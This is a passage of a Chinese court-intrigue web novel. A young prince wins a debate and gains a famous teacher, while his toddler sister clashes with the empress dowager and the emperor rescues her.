“士农工商。士为首。读书人之所以读书,为的自然是要考取功名,报效朝廷,为国出力。若天下读书人皆同你大哥这般,那我朝岂不是就无人为官了?无人为官,岂不天下大乱?”
萧宁珣微微一笑:“士农工商,只是分工不同。朝堂上的士大夫,一定比农夫更会处理国家的大事,但他不一定比农夫会种地,不一定比农夫能种植出更好的庄稼。”
萧宁珣目光澄澈,看着赵琦发问:“若无商人,敢问阁下,边关将士的粮饷从何而来?国库岁入,盐铁之税又占几何?”
“若无这些‘末流’之利支撑,前方的将士可能空着肚子保家卫国?京城的官署可能无需俸禄运转?礼义教化,难道能凭空变出钱粮来吗?”
一连串的提问,如同重锤,敲在在场每一个奉行“万般皆下品,唯有读书高“的学子心上。
赵琦被他问得哑口无言,脸色渐渐涨红:“你不过是个依靠家族荫庇的纨绔!你又懂什么民生艰难?你大哥行商,说得好听,谁知道是不是盘剥百姓得来的不义之财!”
此言一出,台下顿时响起一片哗然。
“赵公子言之有理,商人逐利,岂有干净的!”
“是啊,商贾之道,终是末流。”
“这位萧公子的家中,莫非当真都是不义之财?”
“你胡说!不许你说大哥哥的坏话!”团团清脆尖细的童音穿过了众人的窃窃私语。
众人循声望去,只见一个小娃娃正瞪着台上的赵琦,气鼓鼓地挥舞着小拳头。
哼!敢说我大哥哥的坏话,还欺负三哥哥!团团低头便去找自己的绣囊。
萧宁珣见妹妹的手伸向腰间绣囊,心中一动:“哥哥没事,团团,不要担心。”
团团抬起头,一脸担忧地看着他。
萧宁珣对着她温柔一笑,微微摇头。
陆清嘉在她耳边轻声道:“小盟主,别担心,萧兄现在嘴皮子利落的很,肯定能赢了赵琦那小子。”
团团收回了自己的手,搂住他的脖子:“嗯!”
萧宁珣看向赵琦,正色道:“家兄经营商行,桩桩清晰,件件可查,从未有赵兄口中的不义之财。”
他语气带上了冷意:“阁下辩论不过,便随口污蔑他人,非君子所为,更辱没了这清谈之地。学问之争,各抒己见,求同存异,不可失了读书人的品行。”
云崖先生微微点头,直言不讳:“赵琦,慎言!论道求真,当以理服人,而非口出恶言,攻讦人身,你已失了分寸,下去吧。”
云崖先生此言一出,既判了赵琦学问的输赢,也断了他品行的高下。
一时间,所有人的目光都钉在了赵琦身上,如针如刺。
台下议论声不断。
“今日上台辩论者虽多,这还是头一位被云崖先生亲口赶下台的。”
“云崖先生说的没错啊,若你我上台,对方说不过便开始指摘家人,与市井之徒何异?”
“这位三公子,不鸣则已,一鸣惊人啊!”
“赵琦学问不如人,便诽谤中伤,如此品性,实在不堪。倒是萧三公子,自始至终从容不迫,着实令人心折。”
“久闻这位萧公子于不善言辞,今日一看,并非如此。”
“是啊!经此一事,看谁还敢再嚼舌根,说什么萧三公子是个不会说话的‘小哑巴’!”
赵琦的脸色由通红转为煞白,羞得无地自容,几乎是踉跄着走下了台,钻进人群,灰溜溜地走了。
团团听不懂他们说的话,但看到赵琦逃一样的下台,也知道是萧宁珣胜了,顿时开心地拍着小巴掌欢呼起来。
“三哥哥赢啦!三哥哥好厉害!”
萧宁珣微笑地看了她一眼,眼神温柔至极。
云崖先生看着他,目光充满赞赏:“小公子年纪虽轻,见识不凡,更难得的是心思澄明,守理持正。”
“你所言商道之功,虽与世俗之见相左,却切中时弊,发人深省。不知小公子府上是?师从何人?”
萧宁珣恭敬回答:“回先生,晚辈为宁王之子,现在国子监上舍班就读。兄长在家中常言商贾之事,让晚辈知晓世间万物运行之理。”
“而最大的启发……”他顿了顿,目光温柔地看向团团“却是来自舍妹。”
“她虽年幼,却常有些稚语,发人深省。”
“如她曾问我,‘没人卖东西,我买什么呢?’”
“再如,日前京城流民日益增多,居无定所无可安置,也是舍妹向京兆府李大人谏言,可将山地开垦为良田,令流民有地可种。”
“因而晚辈顿悟:“世间万物,有用即有价值,适用方为真理,不必拘泥于虚名与成见。”
团团听到哥哥夸赞自己,顿时得意地摇晃起小身子,对啊!我就是三哥哥的妹妹!
云崖先生闻言,目光深邃地看了一眼台下那玉雪可爱的小团子,抚须长叹:“令妹之言,确实闻之令人醍醐灌顶。”
“而你。“他又看向萧宁珣:“闻童言而悟至理,观俗事而见真章。小公子,你之前囿于方寸,非才之罪也!善哉!”
“你方才说你在国子监就读。老夫的学问,并不输于国子监祭酒。你与令妹是否愿意拜老夫为师?”
台下又是一片哗然,谁都没有想到,今日一场清谈会,云崖先生竟要现场收徒!
能得云崖先生收入门下,那可是身为读书人的荣光和骄傲!
萧宁珣一愣,下意识便向妹妹看去。
吴启林嘴快:“我们小夫子可是崔祭酒的师父!”
“什么?!这个小娃娃是国子监祭酒崔代盛的师父?”
“不可能,绝不可能!”
“小子!不可胡言乱语,坏了崔祭酒的声望!”
台下众人这次不再是窃窃私语,而是全都大声喊了起来。
云崖先生也是一脸诧异:“令妹竟是崔老头的师傅?”
第97章 掳走团团的是长公主?
团团不爱听了:“我徒弟只是胡子长了点儿,他才不是老头!”
众人更是不忿:“小姑娘不可口出狂言!”
“崔祭酒的年纪做你祖父都绰绰有余,你岂能背后如此议论!”
“不敬!真是太不敬了!”
萧宁珣待台下的声音稍停,才对着众人高声道:“舍妹确是崔祭酒的师父,如今已在国子监任教多日。”
吴启林一脸得意:“对啊!她就是我们的小夫子!”
台下众人面面相觑,还是无法相信,堂堂国子监祭酒,竟然会是这样一个,还被人抱在怀里的小娃娃的徒弟。
云崖先生站起身来:“今日清谈会,到此为止。”
“请小公子引路,老夫想拜访一下贵府。”
萧宁珣恭敬行礼:“学生荣幸之至,请老师随我来。”说完,上前一步,扶着云崖先生的手臂,下台和团团汇合,一同登上了马车回到了王府。
马车刚在门前停稳,车帘还未掀起,就听到外面传来一声中气十足的怒吼。
“云老儿!你个为老不尊的,敢挖我的墙角?!还想爬到我的头上来当我的师祖?做你的清秋大梦!”
这声音太熟悉了。
团团眼睛一亮,小脑袋迫不及待地探出车窗,果然看见国子监祭酒崔代盛吹胡子瞪眼地站在大门口,一张老脸气得通红。
崔代盛收到有人来向他告状,说有个小娃娃自称是自己的师傅,云崖先生还欲收这小娃娃为徒,便火急火燎地赶了过来。
云崖先生不紧不慢地下了车,掸了掸衣袖,笑眯眯地道:“崔老头,火气这么大,也不怕烧着了你这把长胡子?谁挖你墙角了,我这是惜才,爱才!”
“你惜才惜到我师傅头上来了?这还不是挖我的墙角?!”崔代盛几步冲上前,手指头都快戳到云崖先生的鼻子上了,“我告诉你,云老儿,别的都好说,这事儿,门儿都没有!”
团团和萧宁珣看着平日里在国子监的学生们面前威严无比的崔祭酒,此刻却像个老小孩似的跟云崖先生斗气,都忍不住笑了起来。
几人说笑着一同进了府,程如安迎了出来:“崔祭酒请坐,这位是……”
萧宁珣连忙回道:“母亲,这位是云崖先生。”
程如安一脸诧异:“云崖先生?竟然是那位当世大儒云崖先生?真是贵客,请坐,上茶!”
众人落座后,云崖先生郑重地说明了来意,尤其盛赞了萧宁珣今日在清谈会上的表现。
“王妃娘娘,老夫一生漂泊,四处讲学,未曾轻易动过收徒之念。今日见令郎实乃良才美质,不忍错过。故冒昧前来,希望能收令郎为徒。”
程如安闻言,又惊又喜。
云崖先生之名,天下读书人谁不敬仰?他能看中珣儿,那是珣儿的福分!
她压下内心的激动,目光温柔地看向儿子:“珣儿,云崖先生欲收你为徒,这是你的造化。你可愿意?”
萧宁珣站起身,先是对着云崖先生深深一揖,然后转向崔代盛:“祭酒大人,学生如今在国子监就读,不知您是否应允?”
崔代盛虽然刚才与老友斗嘴,但心下也知这对萧宁珣是极好的机缘,他捋了捋长须,爽快道:“有何不允?”
“云老儿人虽不着调,学问却是实实在在的。你能拜他为师,于你的前程大有裨益。国子监这边,你无需顾虑。”
萧宁珣听后再无犹豫。
他整了整衣袍,走到云崖先生面前,撩起衣摆,端端正正地跪了下去,行了三叩首的大礼:“学生萧宁珣,拜见老师!”
“好!好!好徒儿,快起来!”云崖先生亲自伸手将他扶起,看着眼前风神俊秀的少年郎,眼中满是欣慰与喜爱。
拜师礼成,两位大儒小坐了片刻后便起身告辞。
出了王府,云崖再也按捺不住心中的好奇:“崔老头,你跟我交个底,你究竟为何会拜一个幼童为师?着实令我费解。”
崔代盛瞥了他一眼,压低声音道:“云老儿,你以为我是一时兴起?我告诉你,我这小师傅的本事,怕是你我都望尘莫及!我跟你说……”
两个老友的身影渐行渐远。
当晚,萧元珩回府,听闻儿子拜得名师,大喜过望,当即吩咐下去,要择吉日广邀宾客,风风光光地办一场拜师宴。
紧接着,他的神色转为凝重:“两个月后,便是数年一度的校场大比,周边各国都会派人参赛,此番不仅较量诗文,更要论治国安邦之策。”
“据闻题目多关乎边疆稳固、民生经济,绝非纸上谈兵可比。”
“远儿。”他看向长子,“你准备一下,即日起程,亲赴北疆,实地勘察,务求洞悉实情,方能在此番大比中为大烈争光。”
萧宁远起身,肃然领命:“是,父亲,孩儿定不辱命!”
“三弟,国子监那边,烦请你替我告假。”
萧宁珣点头应下。
团团撅起了小嘴,扑过去抱住萧宁远的腿,仰起小脸,满是不舍:“大哥哥,不要走。”
萧宁远心下一软,弯腰将妹妹抱起来,顶了顶她的小额头,柔声哄道:“团团乖,大哥去给你找边疆最好玩的玩意儿,带最好吃的东西回来,好不好?大哥很快就回来了。”
团团不懂什么校场大比,只知道大哥又要离开家,拽着他的衣袖,怎么都不肯撒手。
萧宁远只得一直陪在她身边,直到她睡了,才收拾行装,带着两个侍卫,离开了王府。
次日,国子监内。
团团坐在夫子讲课的桌子上,一脸困惑地看着吴启林:“什么考试?我怎么不知道?”
“小夫子,”吴启林低声道,“这是大考,年年如此。”
“大考?”团团一脸茫然,“怎么没人告诉我?”
左正极无奈地叹了口气:“小师祖,这大考是学里定例,每年都是此时举行。您才来几日,自是不知。”
“只是,外舍班往年此时,大多学子都……告病缺席。”他看了学生们一眼,措辞委婉,意思却明白,就是集体逃考。
“缺席?”团团一听,小脸顿时板了起来,马上从桌子上蹦了起来,吓了左正极一跳:“小师祖!您可别摔下来!”
团团双手叉腰,站得笔直,目光扫过所有外舍班的学生们:“今年谁也不准缺席!不仅要考,还必须好好考!”
她顿了顿:“考得好的,以后才有资格当我的学生!”
“考不好的嘛。”她眼珠一转,捡起桌上的毛笔,“就会像这个!”两只手使劲一折,没折断。
学生们都抿住了嘴,却不敢笑出来。
团团又用了用力,还是没断,疑惑地抓起来看了看,然后,照着桌沿使劲砸下去,终于,毛笔断了。
“谁考不好,我就收拾他!看见没!”
学生们强忍着笑,纷纷点头,那样子要多敷衍有多敷衍。
团团看了看他们,觉得不对劲,又想了想:“这样吧,考不好的,我就天天盯着他读书!跟着他回家吃饭睡觉!直到下次考好了才行!”
“啊?!”学生们这才惊慌起来,让这位活祖宗寸步不离地盯着念一年的书?那可不行!
团团扬起小下巴,凶巴巴:“全都给我好好背书!不许偷懒!”
学生们彼此看了看,纷纷以最快的速度翻开了书本,朗朗的读书声在外舍班里,前所未有地响了起来。
左正极瞪大了眼睛,不可思议的望着眼前的场景,这些小纨绔们,竟然,真的开始认真读书了?
他摇了摇头,我往日对他们的谆谆教导,竟不及小师祖奶声奶气的一句威胁?
当晚,王府。
程如安见萧元珩面色不豫,似有心事:“王爷,可是朝中遇到了什么难事?”
萧元珩揉了揉眉心:“之前掳走团团的那几个贼人,招出了幕后主使。”
“哦?”程如安心中一紧,“是何人指使?”
萧元珩抬眼看向妻子:“是……长公主身边的人。”
程如安脸色骤变:“长公主?”
第98章 我要进宫!
“怎么可能是长公主?”程如安不敢相信,“长公主对团团明明极为喜爱!”
“再说了,王爷,长公主将团团送到大夏去做什么呢?”
萧元珩沉思良久:“据那几人所说,他们只知是长公主身边的人,却说不清楚究竟是谁。”
“倘若能够确定,我定要去宸晖殿当面质问。”
“但如今,既不知贼人真实身份,又无法排除是他们胡乱攀咬,还需暗暗查访。”
萧元珩握住妻子的手:“安儿,不必太过担心。只是,以后团团若再去宸晖殿,你要留心,看好了她。”
程如安默默点头:“王爷请放心。”
次日,与宁王府数条街巷之隔,有一条名为“登科巷”的陋巷。
此地是京城中囊中羞涩的学子们的栖身之所。
巷尾,一间最逼仄的小屋内,柳云逸扶着依旧有些发晕的额头,艰难地从硬板床上坐起了身。
连日的突发高热几乎榨干了他本就瘦弱的身躯。
“咳咳……”喉间的痒意让他忍不住咳嗽起来。
他使劲捶了捶自己的胸口,伸手给自己倒了一杯水,润了润嗓子,心下一片黯然。
云崖先生的清谈会,终究还是错过了。
他苦读多年,等的就是这样一个能被大儒青眼相加的机会,谁知竟因这场突如其来的大病,与这大好机会失之交臂。
不知赵兄将我的文章呈上后,云崖先生会有怎样的评语?
像是在回答他,木门吱呀一声,被人从外推开。
一道身影逆光而入,正是他的同窗赵琦。
“云逸!你没事了?”赵琦几步来到床前。
“有劳赵兄挂心,”柳云逸勉强挤出一丝笑容,声音沙哑,“高热已退,只是还浑身无力,想来再将养几日便好了。”
“不知云崖先生的清谈会如何了?”
提起此事,赵琦脸上立刻露出愤愤不平之色,他重重一拍大腿:“云逸,你快别提了!你没去成反倒是好事!那云崖先生,不过是徒有虚名罢了!”
柳云逸一怔:“赵兄何出此言?”
“那日我去了,呈上你的文章,本想替你美言几句。”赵琦一脸痛心疾首,“谁知那云崖先生,他竟看都没有细看,便随手搁置在一旁。”
“什么当世大儒!眼睛里还不是只有那些王侯子弟!“
“竟然说此类酸腐文章,不堪入目!我与他据理力争,反被他斥责了一顿,轰了出来!”
赵琦说得绘声绘色,自己都信了几分。
当日若不是柳云逸苦苦哀求,他才懒得答应这位穷酸同窗,将他的文章带给云崖先生。
没想到却丢了大人,羞愤而去,哪里还想得起来什么文章!
柳云逸听完,脸色更加苍白,眼神黯淡下去。
“原来如此,竟是都未曾细看么……”他苦涩地摇了摇头,“看来,终究是我柳云逸学问浅薄,文章入不得大家之眼。唉,怨不得旁人,还需更加勤勉才是。”
赵琦故作同情地安慰道:“云逸你也不必妄自菲薄,是那云崖先生有眼无珠!待你病好了,咱们再一同温书,有朝一日,定叫他们刮目相看!”
柳云逸虚弱地点了点头,不再言语,神情落寞。
却无论如何也没想到,自己视若珍宝、寄托前程的呕心之作,早已被身边这位“挚友”轻蔑地弃于一隅,根本未曾见过天日。
同一时间,国子监。
外舍班里全是朗朗的读书声,往日上蹿下跳的学生们此刻一个个埋首案前,竟真有了几分寒窗苦读的架势。
团团依旧坐在夫子用来批阅课业的桌案上,大眼睛满意地扫过下面自己的学生们。
嗯,不错,都很听话。
可坐着坐着,那两条悬空的小短腿就开始不自觉地晃荡起来。
好闷啊,哥哥们要是在就好了。
可是,大哥哥去了边疆,二哥哥去了军营,三哥哥跟着云老儿外出游学。
都没人陪我玩了,真没意思!
还有谁能陪我呢……对了!大三哥!
“左正极!”她腾的一下在桌子上站了起来。
左正极每次见她站在桌子上心里都哆嗦:“小师祖,您小心些!有何吩咐啊,小师祖?”
“我待不住啦!”团团撅着嘴:“我要去找我徒弟,你带我去!”
“是。”左正极熟练地将小小一团的师祖从桌上抱起来,向外走去。
“小师傅,您怎么来了?”崔代盛看到她,赶紧放下书卷起身。
团团从左正极怀里滑下来,迈着小短腿走到他面前,语出惊人:“我要进宫,你带我去。”
“进……进宫?”崔代盛差点被自己的口水呛到,连忙摆手,“小师傅,这皇宫大内,岂是说去就去的?未经传召,不可擅入啊。”
团团小脸一板,两手一背,挺了挺小胸脯,架势十足:“所以我才来找你啊!你能进宫,你带我进去不就行了。”
“我是你的小师傅,你是学生,要听老师的话!我现在就要去!”
崔代盛低着头,看着还没自己桌子高的小娃娃,一本正经地拿着老师的身份跟自己讲话,哭笑不得,一张老脸皱成了苦瓜。
左正极使劲低着头,不好意思眼睁睁地看着自己的老师被小师祖训。
肩膀却控制不住地微微耸动,显然憋笑憋得十分辛苦。
见崔代盛始终犹豫不决,团团立刻转换策略。
她伸出小手,扯住崔代盛宽大的衣袖,轻轻摇晃,声音软得不得了:“祭酒爷爷,你带我去嘛!”
“我就是想去找大三哥玩,他说过,御膳房有很多好吃的东西,上次我着急走都没有吃上。”
“我保证乖乖的,不乱跑!你带我去嘛,祭酒爷爷!”
左正极诧异地瞪大了双眼,小师祖还真是,能屈能伸呢!
一声一声的“祭酒爷爷”,叫得崔代盛心都软了半截。
再看了看那双充满渴望、眨巴眨巴的大眼睛,想起陛下对她非同寻常的重视。
他无奈地叹了口气:“好吧,好吧。”终是败下阵来,牵起团团的小手,“老夫这就带小师傅进宫!”
“耶!祭酒爷爷最好啦!”团团立刻眉开眼笑。
一老一小来到了皇宫。
第99章 小郡主被太后带走了
侍卫验过腰牌放行,崔代盛领着团团缓步前行。
迎面遇见了程公公:“祭酒大人,您这是……”
他的目光落在团团身上,立刻满脸堆笑:“小郡主,您怎么进宫来了?”
崔代盛看着他,一脸“你懂的”的无奈表情,刚要回答,团团已经抢先开口:“翁翁,我来找大三哥玩!上次他说,御膳房有好多好吃的,我要去他那里尝尝。”
“翁翁,大三哥住在哪里啊?我去找他。”
程公公闻言,连忙俯下身柔声道:“小郡主,真不巧,七殿下前两日奉旨出京了,眼下不在宫里呢。”
“啊?他也不在?”团团的小脸瞬间垮了下来,嘴角瘪着,大眼睛里满是失望。
程公公见状,心中暗忖。
陛下对这位小郡主,那可是格外看重的,倘若就这样让她失望而归,若哪日陛下得知,搞不好是要怪罪自己的。
他立刻道:“要不这样,小郡主,翁翁带你去找陛下好不好?”
团团一脸奇怪:“找皇伯父干什么?他又不陪我玩。”
程公公一怔,陛下确实是不可能陪你玩的,但您也不能这样就走了啊。
小孩子嘛,就得哄:“小郡主,您来找七殿下,不就是为了尝尝御膳房的手艺吗?”
“翁翁告诉你啊,这御膳房里,每日做得最精致、最可口的点心菜肴,可都紧着往陛下那儿送呢!所以,陛下宫里的,才是顶顶好的!”
团团歪着小脑袋,想了想,点了下头:“那好吧。”
程公公心里一松:“那老奴带您去见陛下?陛下若是知道您来了,定然欢喜。”
崔代盛如蒙大赦,赶紧将这“烫手山芋”交给了程公公,转身走了。
来到紫宸殿外,程公公禀告:“嘉佑郡主求见陛下!”
正在批阅奏章的萧杰昀一听,放下手中朱笔:“让她进来。”
一见到团团,萧杰昀脸上的倦意一扫而空:“团团?就你一个人吗?今日怎么想起到皇伯父这儿来了?”
“皇伯父!”团团松开程公公的手,一路小跑着扑了过去:“大三哥上次答应我,去他那里吃御膳房做的好吃的。
“翁翁说他不在宫里,我就来找皇伯父啦!”
“原来是小馋猫馋了啊!来朕这里找吃的来了。”萧杰昀被她毫不掩饰的馋猫样儿逗得哈哈大笑。
他一把将团团抱了起来:“走!跟皇伯父一起去吃!程谨言,吩咐御膳房,今日的膳食给朕多做几道,要合适小郡主吃的菜式。”
“是!老奴这就去吩咐。”程公公暗自庆幸,幸亏把小郡主哄了来,瞧陛下这个喜欢!
很快,一大桌子精致御膳摆了上来。
御膳房知道郡主年幼,做的多是些易消化、口味鲜美的菜式,蟹粉狮子头、清蒸鹿肉……应有尽有。
还额外准备了各式精巧可爱的点心。
团团每吃一口,都会很认真的点评。
“这个肉肉软软的,好吃!”
“这个汤甜甜的,还不腻!好香!”
“这个鱼鱼是酸甜的!真爽口!”
萧杰昀在一旁看得有趣:“喜欢便多吃几口,才能快快长大!”
团团见他吃得缓慢,动筷不多,抬起一张沾着饭粒的小脸:“皇伯父,你怎么吃得这么慢呀?你不饿吗?”
萧杰昀笑着摇了摇头。
团团眼睛一亮:“皇伯父,我跟你比赛吧,看谁吃得多!”
程公公闻言急忙劝阻:“小郡主,这可使不得,陛下用膳,不能劝的。”
团团一脸奇怪:“我没劝他啊!”
程公公一噎,刚想解释。
萧杰昀摆了摆手,他从来没和如此活泼可爱的孩子一起相处过,只觉得眼前的小娃娃格外有趣。
宫里的孩子们见了自己一个个都循规蹈矩,全一个模样。
一口便答应了:“好!皇伯父跟你比!”
一大一小还真的较上了劲,你一口我一口的停不下来了。
萧杰昀不知不觉比平日多吃了不少。
程公公在一旁看着,心里乐开了花,谁说陛下胃口不好的?陛下身边,还真就缺一个小郡主这样的孩子。
很快,团团就吃得小肚子溜圆。
她看着桌上还有不少动都没动过的菜肴:“皇伯父,我可以把这些都带回家吗?”
萧杰昀笑了:“团团还没吃饱啊?”
团团摇了摇头:“吃饱啦!可是祖母、爹爹和娘亲他们都还没吃到呢!”
“有好东西,当然要跟家里人一起分享啊!”
萧杰昀心中一动,心中涌起一股淡淡的暖流和羡慕。
他身为皇子,从小便要时时刻刻地守着规矩,想见自己的父皇还要请旨,皇家亲情淡漠,难得这般纯粹的天伦之乐。
他轻轻摸了摸团团的头,语气格外温和:“团团说得对,是该同家人分享。”
“你能时刻惦记着他们,真是个好孩子。”
“程谨言,吩咐御膳房,每样菜式再备一份,不,备双份!用食盒仔细装好了,给小郡主带回王府去!”
“谢谢皇伯父!皇伯父最好啦!”团团欢呼一声,笑得脸上酒窝深陷。
用完膳,萧杰昀又逗着团团说了好一会子话,才命程公公安排了宫里最舒适的马车,将心满意足的小团子和满满几大食盒御膳送回王府。
马车稳稳地在通往宫门的宫道上前行。
忽然,被几个人伸手拦住了。
为首的一位老嬷嬷面容严峻,对车上的小太监道:“车里坐的是嘉佑郡主吧。”
团团听见有人唤自己,掀开窗帘看出去:“是我啊,你是谁?”
老嬷嬷唇边闪过一丝轻蔑的笑容:“太后娘娘听闻嘉佑郡主进宫,特命老奴前来,请小郡主往太后的寿成宫里小坐片刻。”
太后的宫里?不去!不去!
团团大声道:“老婆婆!我不去!我要回家!”
小太监认出这老嬷嬷是太后身边的人,姓秦。
面露难色:“秦嬷嬷,陛下刚吩咐的,让奴才送小郡主出宫回府,您瞧,小郡主自己也……”
秦嬷嬷的语气强硬了几分:“小郡主年纪尚小,她说的话你岂能当真?”
“太后娘娘只是想跟小郡主说说话儿而已,难道陛下还会阻拦太后疼爱小辈不成?”
“太后娘娘还备下了赏赐给小郡主呢。你且回去复命吧,小郡主自有奴婢们照料。”
小太监无奈,只得跳下了马车。
秦嬷嬷劈手夺过了他手中的马鞭和缰绳,递给自己身后的小太监:“走!”
那小太监接了过来,窜上马车:“驾!”
秦嬷嬷和其他几个老嬷嬷守在马车四周,马车转了个弯,继续前行。
团团见原先的小太监还愣在原地,冲着马车张望。
伸出小胳膊,对着自己来时紫宸殿的方向不停地指。
小太监顿时醒悟,撒腿往回就跑:赶紧回去禀报陛下!
小郡主被太后带走了!
第100章 给哀家抓住她!
寿成宫内,光线幽暗,熏香袅袅,安静而压抑。
团团被秦嬷嬷引着,迈过高高的门槛,站在正殿的中央,仰起小脑袋,望着上面高高在上,坐在主位中的太后。
她记得娘亲进宫时的样子,便也学着,像模像样,晃晃悠悠地下跪行礼,奶声奶气地道:“太后娘娘金安。”
说完,她便保持着行礼的姿势,等着那声:起来吧。
然而,殿内一片寂静,只能听见香料在香炉中燃烧时发出细微的“噼啪”声。
太后仿佛全然没有听见,慢条斯理地用杯盖拂着茶沫,眼皮都未曾抬一下。
团团等了片刻,疑惑地抬起了小脑袋。
只见太后正低头饮茶,好像根本不知道自己在这里。
团团自顾自地爬了起来,站直了身体。
“大胆!”一旁的秦嬷嬷立刻尖声呵斥,“太后娘娘未曾叫你起来,你怎敢擅自起身?如此不懂规矩!”
团团一脸奇怪:“太后娘娘年纪大了,耳朵背,听不见我说话啊,我又没怪她。”
“放肆!”太后将茶盏重重地搁在案上,“你怎知哀家没有听到?”
团团皱了皱眉,问秦嬷嬷:“她听见了啊?那她干嘛不让我起来?那个姿势怪不舒服的,我的腿都酸啦!”
“你……!”秦嬷嬷被她这理直气壮的话噎得一时语塞。
太后抬起眼,冷冷地看着下面的小团子。
自己这套下马威,在后宫用了无数次,无往不利,哪个妃嫔不是战战兢兢、冷汗涔涔?
没想到今日在这个小丫头面前,竟被直接戳穿,还反将一军!
本想先教训一下这个小丫头,待她怕了,再细细询问宫宴上她所提的红衣女子之事,却没想到,出师不利。
“依哀家看,你这郡主,在宁王府里竟是半点规矩也没有学到!”
太后声音冰冷:“秦嬷嬷,去,好好教教她,什么才是哀家面前该有的礼数!”
“是!娘娘!”秦嬷嬷脸上掠过一丝狠厉,挽起袖子就朝团团大步走来。
团团一看这老嬷嬷眼神凶巴巴的,就知道不好。
她反应极快,不等秦嬷嬷靠近,就像只灵活的小兔子,转身便往殿内的空旷处跑。
太后见状,气得一拍扶手:“反了!给哀家抓住她!”
殿内的宫女太监们一窝蜂地围拢过来,想要拦住团团。
可团团人小身子滑,在人群缝隙里钻来钻去,一群大人一时竟奈何她不得。
眼看包围圈越来越小,团团瞥见靠墙处有一座高大的百宝阁,上面摆满了各色古玩玉器。
她二话不说,冲到阁子前,手脚并用,像只敏捷的小猫,嗖嗖嗖地就爬了上去。
一路手扒脚蹬,百宝阁上的各种宝贝噼里啪啦的掉了下来,摔得粉碎。
地上成堆的碎片也挡住了扑过来的太监和宫女。
“哎呦!那是先帝赏的花瓶!”
“小心!那是前朝的玉如意!”
“快拦住她!”
伴随着宫女太监们的惊呼和器物坠地的碎裂声,团团三两下就爬到了几乎触到房梁的阁顶,稳稳当当地坐在最高的那层隔板上。
“哼!”她居高临下地看着底下乱成一团的人,扬起小下巴,“有本事你们上来呀!”
太后站起身,看着满地的狼藉,心都在滴血,这些可都是她多年的珍藏!
再看到团团居然还在上面不停地挑衅,只觉得一股血气直冲头顶。
她抬手指着百宝阁,气得手都在颤抖,厉声尖叫:“给我把这百宝阁推倒!哀家今天非要抓住这个无法无天的小孽障不可!”
几个身强力壮的太监立刻上前,用力去推那沉重的百宝阁,阁子开始剧烈摇晃。
团团吓了一跳,伸手便解开腰间的绣囊,娘亲说过,无论在哪里,都不能让别人欺负了去!小手刚伸进去……
一声厉喝传来:“都给朕住手!”
紧接着,皇帝萧杰昀的身影出现在殿门口,他一眼就看到了那摇摇欲坠的百宝阁,和顶端的隔板上坐着的小团子。
那几个正用力推搡百宝阁的太监吓得魂飞魄散,扑通跪倒。
紧接着,所有的宫女和太监们全都跪了一地。
“程谨言!”皇帝的声音里带着怒火,“还不快找梯子,把郡主给朕安安稳稳地抱下来!”
“是!是!老奴这就去!”程公公连滚爬爬地出去吩咐。
萧杰昀看向主位上的太后,微微颔首:“母后。不知嘉佑郡主如何冲撞了母后,竟惹得您如此盛怒?”
太后脸色铁青。
一旁的秦嬷嬷抢先回道:“回陛下!小郡主对太后娘娘不敬,娘娘好心命老奴教导她规矩,谁知她竟敢在寿成宫里这般撒野,还毁坏了无数御赐之物,实在是无法无天!”
这时,团团已经被内侍小心翼翼地抱了下来。
她猛地扑进萧杰昀怀里,小胳膊紧紧搂住他的腿,带着哭腔,委屈地大喊:
“皇伯父!我没有!我给她请安行礼啦!是她听见了却不理我,我腿都酸了她还不让我起来!那个坏嬷嬷还要来抓我!我才跑的!”
萧杰昀俯身将她抱了起来,轻轻拍着她的后背安抚。
他自幼在宫中长大,宫里这套磋磨人的把戏,他比谁都清楚。
他想到自己宫中那吞噬龙运的符箓,想到太后暗通敌国,再想到若不是怀里这个小娃娃,自己和国家都不知道会变成什么样子。
胸中怒火熊熊,母后!你若不是朕的母后,朕早就将你拿下问罪了!
但是,那毕竟是自己的母后。
他吸了口气,低头看着地上的秦嬷嬷,慢悠悠地道:“如此说来,今日之事,竟是你这老奴才,曲解了太后心意,擅自揣度,惊吓了郡主?”
太后闻言面露惊讶,秦嬷嬷浑身一抖,暗叫不好,立刻连连磕头:“陛下息怒!陛下息怒!老奴是奉太后娘娘懿旨……”
“奉旨?”萧杰昀冷笑一声,打断了她,“朕方才明明下旨,命人送郡主回府。你胆敢拦截御驾,将郡主强掳至寿成宫受此惊吓,竟还敢狡辩?”
他厉声喝道:“来人!将这混淆视听、挑拨主子的恶奴给朕拖出去,杖责四十!重重的打!”
殿外侍卫应声而入,二话不说,架起面如死灰的秦嬷嬷就往外拖。
“皇帝!”太后气得浑身发抖,“你!你这是要当着哀家的面,打杀哀家的奴才吗?!”
萧杰昀毫不退:“母后既然不顾朕的颜面,连朕的旨意都敢公然阻拦,朕只是责打个奴才,又算得了什么?!”
“你……!”太后被她噎得眼前发黑,眼睁睁看着秦嬷嬷被拖了出去,“皇帝!你是可是哀家的亲儿子啊!怎能为了一个外人……”
“哐当”一声,团团腰间的绣囊刚才被她解开还未来得及系上,此刻被萧杰昀这么一抱,口子倾斜,掉出了一个铜牌。
太后的目光下意识地看了过去。
“这是……!”她脸上的血色瞬间褪尽,跌坐在椅中。
她的目光死死地盯着皇帝怀里的团团,声音充满惊骇:“这,这铜牌!你是从哪里得来的?”
第101章 熊瞎子和小白兔
团团低头看着铜牌,想了半晌才想起来,这是冷宫的那个老婆婆的东西。
但她小脸一扭,扎进萧杰昀的脖子里:“我才不告诉你!”
太后气结:“你!你竟敢!说!这铜牌你从何而来!”
萧杰昀看了一眼程公公,程公公会意,急忙上前将铜牌捡起,双手奉上。
萧杰昀接过来,仔细端详。
“皇帝!不要……”太后声音颤抖,目光闪烁,脸色青白不定。
萧杰昀心头闪过一丝惊诧,太后为何对这枚铜牌如此看重?不,不止是看重,还有些……惧怕?
“母后,今日您也累了,好生歇息吧。”说完,他抱着团团,握着铜牌,转身离开。
马车就停在寿成宫外,萧杰昀本该将团团放进马车,让她回家,但他握着铜牌默默出神,竟直接越过了马车,皱着眉头向前走去。
程公公本想提个醒,但回想刚才萧杰昀的震怒,没敢上前。
吩咐人赶着马车,在皇帝身后,拉开一定的距离,悄悄跟着。
“团团,这铜牌,你是从何处得来的?告诉皇伯父可好?”萧杰昀在团团耳边轻声问道。
“嗯。”团团如实以告,“在冷宫那边,我和大三哥遇到一个老婆婆,是她掉在地上的。我喊她,她不要了,所以我才捡走了。”
“皇伯父,她好可怜啊,一直在找她的孩子。”
“见到大三哥还跟他说,快跑啊,快躲起来。”
萧杰昀的眉头皱得更紧了,皇宫中的秘辛从来不少,这又是哪一桩?跟太后有什么关系?为何她如此惊慌?
